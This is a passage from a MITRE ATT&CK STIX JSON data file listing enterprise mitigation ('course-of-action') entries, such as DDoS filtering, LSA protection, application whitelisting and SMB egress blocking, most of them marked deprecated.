Prevention)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--654addf1-47ab-410a-8578-e1a0dc2a49b8","type":"course-of-action","created":"2019-04-19T18:46:47.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1498","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1498"},{"description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","source_name":"CERT-EU DDoS March 2017"}],"modified":"2019-07-25T11:16:48.088Z","name":"Network Denial of Service Mitigation","description":"When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--65da1eb6-d35d-4853-b280-98a76c0aef53","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1190","external_id":"T1190"}],"modified":"2019-07-24T19:21:22.911Z","name":"Exploit Public-Facing Application Mitigation","description":"Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.\n\nSegment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.\n\nUse secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.\n\nRegularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--676975b9-7e8e-463d-a31e-4ed2ecbfed81","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1109","external_id":"T1109"}],"modified":"2019-07-24T18:10:06.475Z","name":"Component Firmware Mitigation","description":"Prevent adversary access to privileged accounts or access necessary to perform this technique.\n\nConsider removing and replacing system components suspected of being compromised.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1016","url":"https://attack.mitre.org/mitigations/T1016","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.705Z","name":"System Network Configuration Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1070","external_id":"T1070"}],"modified":"2019-07-24T19:40:27.401Z","name":"Indicator Removal on Host Mitigation","description":"Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1149","external_id":"T1149"}],"modified":"2019-07-24T19:46:16.474Z","name":"LC_MAIN Hijacking Mitigation","description":"Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1187","external_id":"T1187"},{"url":"https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices","description":"US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.","source_name":"US-CERT SMB Security"},{"source_name":"US-CERT APT Energy Oct 2017","description":"US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-293A"}],"modified":"2019-07-24T19:32:11.883Z","name":"Forced Authentication Mitigation","description":"Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--70886857-0f19-4caa-b081-548354a8a994","type":"course-of-action","created":"2019-04-26T19:30:33.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1495","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1495"}],"modified":"2019-07-24T19:31:37.073Z","name":"Firmware Corruption Mitigation","description":"Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities. ","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1","type":"course-of-action","created":"2019-06-06T21:08:58.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1025","url":"https://attack.mitre.org/mitigations/M1025"}],"modified":"2020-05-20T13:13:48.900Z","name":"Privileged Process Integrity","description":"Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1188","external_id":"T1188"}],"modified":"2019-07-25T11:14:52.662Z","name":"Multi-hop Proxy Mitigation","description":"Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7708ac15-4beb-4863-a1a5-da2d63fb8a3c","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1220","external_id":"T1220"}],"modified":"2019-07-25T12:36:43.778Z","name":"XSL Script Processing Mitigation","description":"[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1161","external_id":"T1161"}],"modified":"2019-07-24T19:45:55.012Z","name":"LC_LOAD_DYLIB Addition Mitigation","description":"Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c","type":"course-of-action","created":"2019-07-19T14:58:42.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1055","url":"https://attack.mitre.org/mitigations/M1055"}],"modified":"2019-07-23T14:44:24.727Z","name":"Do Not Mitigate","description":"This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","type":"course-of-action","created":"2020-10-19T14:57:58.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1056","url":"https://attack.mitre.org/mitigations/M1056"}],"modified":"2020-10-20T19:52:32.439Z","name":"Pre-compromise","description":"This category is used for any applicable mitigation activities that apply to techniques occurring before an adversary gains Initial Access, such as Reconnaissance and Resource Development techniques.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--797312d4-8a84-4daf-9c56-57da4133c322","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1199","external_id":"T1199"}],"modified":"2019-07-25T12:30:35.417Z","name":"Trusted Relationship Mitigation","description":"Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1073","external_id":"T1073"}],"modified":"2019-07-24T14:24:44.818Z","name":"DLL Side-Loading Mitigation","description":"Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7a4d0054-53cd-476f-88af-955dddc80ee0","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1189","external_id":"T1189"},{"url":"https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/","description":"Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.","source_name":"Windows Blogs Microsoft Edge Sandbox"},{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"},{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2019-07-24T19:14:33.952Z","name":"Drive-by Compromise Mitigation","description":"Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1177","external_id":"T1177"},{"source_name":"Microsoft LSA Protection Mar 2014","description":"Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.","url":"https://technet.microsoft.com/library/dn408187.aspx"},{"url":"https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage","description":"Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.","source_name":"Microsoft Enable Cred Guard April 2017"},{"url":"https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works","description":"Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.","source_name":"Microsoft Credential Guard April 2017"},{"source_name":"Microsoft DLL Security","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"}],"modified":"2019-07-24T19:47:23.978Z","name":"LSASS Driver Mitigation","description":"On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1179","external_id":"T1179"}],"modified":"2019-07-24T19:37:27.850Z","name":"Hooking Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d","type":"course-of-action","created":"2019-06-06T20:15:34.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1020","url":"https://attack.mitre.org/mitigations/M1020"}],"modified":"2019-06-06T20:15:34.146Z","name":"SSL/TLS Inspection","description":"Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1043","external_id":"T1043"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T14:17:58.966Z","name":"Commonly Used Port Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1093","url":"https://attack.mitre.org/mitigations/T1093","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:18.615Z","name":"Process Hollowing Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","type":"course-of-action","created":"2019-06-11T17:02:36.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1046","url":"https://attack.mitre.org/mitigations/M1046"}],"modified":"2020-05-19T12:28:50.603Z","name":"Boot Integrity","description":"Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1005","url":"https://attack.mitre.org/mitigations/T1005","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.372Z","name":"Data from Local System Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or 